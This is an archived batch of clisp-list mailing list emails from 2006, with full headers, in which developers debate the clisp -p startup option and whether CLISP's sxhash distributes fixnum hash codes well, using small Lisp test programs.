Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id k5EFmhvm017491 for ; Wed, 14 Jun 2006 17:48:43 +0200 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id k5EFma0W006524 for ; Wed, 14 Jun 2006 17:48:36 +0200 Received: from honolulu.ilog.fr ([172.16.15.121]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Wed, 14 Jun 2006 17:48:52 +0200 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id BEBCDF1433; Wed, 14 Jun 2006 17:47:11 +0200 (CEST) From: Bruno Haible To: clisp-list@lists.sourceforge.net Date: Wed, 14 Jun 2006 17:47:11 +0200 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200606141747.11649.bruno@clisp.org> X-OriginalArrivalTime: 14 Jun 2006 15:48:52.0563 (UTC) FILETIME=[091BF230:01C68FCA] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] -p argument getting lost X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Jun 2006 15:48:51 -0000 Don Cohen wrote: > Here's a long standing problem that I only now begin to think of as a > clisp bug. Let's see what the rest of you think. > Consider a batch file with a command like > clisp -i start.lsp -p MYPKG > The behavior I see suggests that this is interpreted as something like > (progn (load "start.lsp")(in-package "MYPKG")) > > The problem is that if the load breaks and the user aborts then he > doesn't end up in MYPKG. The command clisp -i start.lisp -p MYPKG is meant to enable you, as a programmer, to work in package MYPKG, package defined in start.lisp, with the functions defined in start.lisp. Not less, not more. If loading start.lisp already breaks, it does not make sense to drop the user into package MYPKG: The package might not yet exist, or it might be empty or incomplete. If you wish a different behaviour, you can achieve it through the -x option. Bruno From sds@podval.org Wed Jun 14 10:39:59 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FqZLT-0000H3-6C for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 10:39:59 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FqZLS-0006fy-MF for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 10:39:59 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A9E52B300AC; Wed, 14 Jun 2006 13:39:49 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 1C3FB36A394; Wed, 14 Jun 2006 13:39:49 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k5EHdmHx015443; Wed, 14 Jun 2006 13:39:48 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k5EHde9x015439; Wed, 14 Jun 2006 13:39:40 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17532.22321.536057.854976@isis.cs3-inc.com> (Don Cohen's message of "Tue, 30 May 2006 07:31:13 -0700") References: <17532.22321.536057.854976@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Date: Wed, 14 Jun 2006 13:39:40 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.38 on mac X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Jun 2006 17:39:59 -0000 > * Don Cohen [2006-05-30 07:31:13 -0700]: > > One more question. It seems to me that I've had trouble with > distributions that use libsigsegv on machines that don't have it. Is > there a way to build clisp or distribute it so that this is less > problematic? https://sourceforge.net/tracker/?func=detail&aid=1237776&group_id=1355&atid=101355 -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://honestreporting.com http://jihadwatch.org http://ffii.org http://camera.org http://thereligionofpeace.com http://dhimmi.com If Perl is the solution, you're solving the wrong problem. - Erik Naggum From pjb@informatimago.com Wed Jun 14 16:00:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FqeLc-0002u7-NF for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 16:00:28 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FqeLZ-0004oq-TO for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 16:00:28 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 7CC33586E3; Thu, 15 Jun 2006 01:00:13 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 09064586AD; Thu, 15 Jun 2006 01:00:10 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6FBEB8FB9; Thu, 15 Jun 2006 01:00:10 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit Message-Id: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> Date: Thu, 15 Jun 2006 01:00:10 +0200 (CEST) X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Jun 2006 23:00:28 -0000 (loop for i from 1 to 10 do (princ " ")(prin1 (- (sxhash i) (sxhash(1- i))))) clisp: 32 32 32 32 32 32 32 32 32 32 sbcl: 16 17 16 -115 16 17 16 149 16 17 cmucl: 1 1 1 1 1 1 1 1 1 1 gcl: 1 1 1 1 1 1 1 1 1 1 ecl: 247599786 110122623 -16536912 -12603779 -282139104 329412148 74867061 -242671325 116844443 132495665 When used to implement hash-table like structures, the clisp sxhash function on fixnum gives an undesirable bad behavior Note that the specification of sxhash says: 4. The hash-code is intended for hashing. This places no verifiable constraint on a conforming implementation, but the intent is that an implementation should make a good-faith effort to produce hash-codes that are well distributed within the range of non-negative fixnums. Obviously, clisp's sxhash on fixnum is not well distributed. I think that for fixnums, returning the fixnum value itself would be a good behavior for sxhash (that's what cmucl and gcl do). (defun sxhash (x) (typecase x (fixnum x) ...)) -- __Pascal Bourguignon__ http://www.informatimago.com/ CONSUMER NOTICE: Because of the "uncertainty principle," it is impossible for the consumer to simultaneously know both the precise location and velocity of this product. From sds@podval.org Wed Jun 14 16:03:43 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FqeOl-00038q-6A for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 16:03:43 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FqeOh-0005co-Ht for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 16:03:43 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A5C132300A8; Wed, 14 Jun 2006 19:03:29 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 59BE736A394; Wed, 14 Jun 2006 19:03:29 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k5EN3TBM021918; Wed, 14 Jun 2006 19:03:29 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k5EN3DO3021911; Wed, 14 Jun 2006 19:03:13 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> (Pascal Bourguignon's message of "Thu, 15 Jun 2006 01:00:10 +0200 (CEST)") References: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, pjb@informatimago.com Date: Wed, 14 Jun 2006 19:03:13 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Jun 2006 23:03:43 -0000 > * Pascal Bourguignon [2006-06-15 01:00:10 +0200]: > > (loop for i from 1 to 10 do (princ " ")(prin1 (- (sxhash i) (sxhash(1- i))))) > > clisp: 32 32 32 32 32 32 32 32 32 32 > sbcl: 16 17 16 -115 16 17 16 149 16 17 > cmucl: 1 1 1 1 1 1 1 1 1 1 > gcl: 1 1 1 1 1 1 1 1 1 1 > ecl: 247599786 110122623 -16536912 -12603779 -282139104 329412148 > 74867061 -242671325 116844443 132495665 > > > When used to implement hash-table like structures, the clisp sxhash > function on fixnum gives an undesirable bad behavior > > Note that the specification of sxhash says: > > 4. > The hash-code is intended for hashing. This places no verifiable > constraint on a conforming implementation, but the intent is that an > implementation should make a good-faith effort to produce hash-codes > that are well distributed within the range of non-negative fixnums. > > Obviously, clisp's sxhash on fixnum is not well distributed. > > I think that for fixnums, returning the fixnum value itself would be a > good behavior for sxhash (that's what cmucl and gcl do). > > (defun sxhash (x) > (typecase x > (fixnum x) > ...)) I am confused. how is clisp behavior worse than that of cmucl and gcl?! -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://camera.org http://thereligionofpeace.com http://ffii.org http://iris.org.il http://truepeace.org http://openvotingconsortium.org Time would have been the best Teacher, if it did not kill all its students. From steven.harris@gnostech.com Wed Jun 14 16:30:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fqeoe-0005Nq-Hq for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 16:30:28 -0700 Received: from adsl-71-154-201-182.dsl.sndg02.sbcglobal.net ([71.154.201.182] helo=chlorine.gnostech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fqeoe-0002I9-Ak for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 16:30:28 -0700 Received: from sharris by chlorine.gnostech.com with local (Exim 4.62) (envelope-from ) id J0VIMI-0002U0-AT for clisp-list@lists.sourceforge.net; Wed, 14 Jun 2006 16:30:18 -0700 From: "Steven E. Harris" To: clisp-list@lists.sourceforge.net Organization: SEH Labs References: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net Date: Wed, 14 Jun 2006 16:30:17 -0700 In-Reply-To: (Sam Steingold's message of "Wed, 14 Jun 2006 19:03:13 -0400") Message-ID: User-Agent: Gnus/5.110006 (No Gnus v0.6) XEmacs/21.4.13 (cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: Re: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 Jun 2006 23:30:28 -0000 Sam Steingold writes: > how is clisp behavior worse than that of cmucl and gcl?! CMUCL and GCL have hash values that differ by one for each consecutive fixnum, while CLISP's differ by 32. The means CLISP exhausts the hash space 32 times faster and make no use of the 31 other values in between, assuming that Pascal's pattern would hold steady for a very large range of fixnums. For what it's worth, running the same test on my CLISP here (2.38 on Cygwin) shows a difference of 128 for as high as I dare count. -- Steven E. Harris From sds@podval.org Thu Jun 15 05:34:33 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fqr3Q-0003Ma-VC for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 05:34:33 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fqr3J-0005F7-EY for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 05:34:29 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A3C031100A4; Thu, 15 Jun 2006 08:34:08 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id DD7EB3680AA; Thu, 15 Jun 2006 08:34:07 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k5FCY7sf012434; Thu, 15 Jun 2006 08:34:07 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k5FCXmXP012432; Thu, 15 Jun 2006 08:33:48 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Steven E. Harris" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Steven E. Harris's message of "Wed, 14 Jun 2006 16:30:17 -0700") References: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Steven E. Harris" Date: Thu, 15 Jun 2006 08:33:48 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 12:34:33 -0000 > * Steven E. Harris [2006-06-14 16:30:17 -0700]: > > Sam Steingold writes: > >> how is clisp behavior worse than that of cmucl and gcl?! > > CMUCL and GCL have hash values that differ by one for each consecutive > fixnum, while CLISP's differ by 32. The means CLISP exhausts the hash > space 32 times faster and make no use of the 31 other values in > between, assuming that Pascal's pattern would hold steady for a very > large range of fixnums. "exhaust"?! what do you mean _exactly_? the contract of sxhash is suitability as a hashing function. I don't see it violated. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://pmw.org.il http://openvotingconsortium.org http://jihadwatch.org http://iris.org.il http://palestinefacts.org http://honestreporting.com Trespassers will be shot. Survivors will be SHOT AGAIN! From steven.harris@gnostech.com Thu Jun 15 08:16:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FqtaU-0002is-RJ for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 08:16:55 -0700 Received: from adsl-71-154-201-182.dsl.sndg02.sbcglobal.net ([71.154.201.182] helo=chlorine.gnostech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FqtaU-0003Br-Hc for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 08:16:50 -0700 Received: from sharris by chlorine.gnostech.com with local (Exim 4.62) (envelope-from ) id J0WQFW-00029K-HC for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 08:16:44 -0700 From: "Steven E. Harris" To: clisp-list@lists.sourceforge.net Organization: SEH Labs References: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net Date: Thu, 15 Jun 2006 08:16:44 -0700 In-Reply-To: (Sam Steingold's message of "Thu, 15 Jun 2006 08:33:48 -0400") Message-ID: User-Agent: Gnus/5.110006 (No Gnus v0.6) XEmacs/21.4.13 (cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: Re: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 15:16:56 -0000 Sam Steingold writes: > "exhaust"?! > what do you mean _exactly_? There was a hidden assumption in my thinking. If the value of sxhash is used as a hash key directly, the keys in CLISP collide more often. That would matter if some hash table was using most-positive-fixnum buckets. Assuming that such spacious hash tables are rare, the sxhash key would need to be mapped to the bucket count again, in which case the spacing between sxhash keys is less important. > the contract of sxhash is suitability as a hashing function. > I don't see it violated. I didn't suggest that it was violated. I was only commenting that if the goal of a hashing function is to produce semi-unique keys for different values, the keys produced by CLISP are less unique than those produced by the other implementations we mentioned, and hence warranted discussion. As I said above, being less unique doesn't necessarily condemn the behavior of a hash table making proper use of these keys. Looking at just the keys in isolation may be too narrow a view. -- Steven E. Harris From sds@podval.org Thu Jun 15 09:00:46 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FquGz-0006wH-Tv for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 09:00:46 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FquGx-0005MT-4k for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 09:00:45 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A41D53000A4; Thu, 15 Jun 2006 12:00:29 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 40AFA3680AA; Thu, 15 Jun 2006 12:00:29 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k5FG0T1P015745; Thu, 15 Jun 2006 12:00:29 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k5FG0CKq015743; Thu, 15 Jun 2006 12:00:12 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Steven E. Harris" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Steven E. Harris's message of "Thu, 15 Jun 2006 08:16:44 -0700") References: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Steven E. Harris" Date: Thu, 15 Jun 2006 12:00:12 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 16:00:47 -0000 > * Steven E. Harris [2006-06-15 08:16:44 -0700]: > > I didn't suggest that it was violated. I was only commenting that if > the goal of a hashing function is to produce semi-unique keys for > different values, the keys produced by CLISP are less unique than > those produced by the other implementations we mentioned, and hence > warranted discussion. As I said above, being less unique doesn't > necessarily condemn the behavior of a hash table making proper use of > these keys. Looking at just the keys in isolation may be too narrow a > view. what does "less unique" mean? please offer a sensible test (in lisp, if possible), and demonstrate that it fails on clisp and passes on other implementations. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://openvotingconsortium.org http://iris.org.il http://mideasttruth.com http://pmw.org.il http://ffii.org Never let your schooling interfere with your education. From steven.harris@gnostech.com Thu Jun 15 10:13:01 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FqvOv-00051c-Dw for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 10:13:01 -0700 Received: from adsl-71-154-201-182.dsl.sndg02.sbcglobal.net ([71.154.201.182] helo=chlorine.gnostech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FqvOu-0000s6-Tr for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 10:13:01 -0700 Received: from sharris by chlorine.gnostech.com with local (Exim 4.62) (envelope-from ) id J0WVTC-0002GG-6A for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 10:12:48 -0700 From: "Steven E. Harris" To: clisp-list@lists.sourceforge.net Organization: SEH Labs References: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net Date: Thu, 15 Jun 2006 10:12:47 -0700 Message-ID: User-Agent: Gnus/5.110006 (No Gnus v0.6) XEmacs/21.4.13 (cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: Re: [clisp-list] sxhash of fixnums X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 Jun 2006 17:13:01 -0000 Sam Steingold writes: > what does "less unique" mean? It means the sxhash produces the same value more often over the same input range. > please offer a sensible test (in lisp, if possible), and demonstrate > that it fails on clisp and passes on other implementations. Again, I never said there was any kind of failure to be found here. I was just adding reaction to the OP's observation. Experimenting with CLISP demonstrated that my concerns were unfounded, because wrapping around from the largest sxhash key back to the smallest does not produce the same key. That is, (sxhash 0) and (sxhash (ceiling (/ most-positive-fixnum 128))) do not produce the same key. Here is more code to help explore my misconception: (defun show-fixnum-key (n hash &optional (stream *standard-output*)) (declare (fixnum n)) (format stream "~D -> ~D~%" n (funcall hash n))) (defun show-key-wrap (&optional (hash-func #'sxhash)) (loop with top = (floor (/ most-positive-fixnum #+(and clisp cygwin) 128 #+(and clisp (not cygwin)) 32 ;; ... )) for n in (list 0 1 top (1+ top) (+ top 2)) do (show-fixnum-key n hash-func))) (show-key-wrap) This produces the following output: 0 -> 7 1 -> 135 131071 -> 16777095 131072 -> 8 131073 -> 136 Now, I had misjudged the CLISP sxhash; I thought it was acting more like this: (defun worse-sxhash (n) (declare (fixnum n)) (logand (* n 128) most-positive-fixnum)) (show-key-wrap #'worse-sxhash) Which produces this output: 0 -> 0 1 -> 128 131071 -> 16777088 131072 -> 0 131073 -> 128 In the latter case, (worse-)sxhash produces the same key for every (/ most-positive-fixnum 128) input, which is "less unique" that producing a different value for every fixnum. However, the real CLISP sxhash does not behave as I had suspected, so I withdraw my concern. -- Steven E. Harris From pjb@informatimago.com Thu Jun 15 10:37:30 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fqvmc-0007GA-5G for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 10:37:30 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fqvma-000662-3o for clisp-list@lists.sourceforge.net; Thu, 15 Jun 2006 10:37:30 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id DB78C586EA; Thu, 15 Jun 2006 19:37:21 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id D6482586DB; Thu, 15 Jun 2006 19:37:18 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id B86DF8FB9; Thu, 15 Jun 2006 19:37:18 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17553.39630.692178.310298@thalassa.informatimago.com> Date: Thu, 15 Jun 2006 19:37:18 +0200 To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20060614230010.6FBEB8FB9@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to 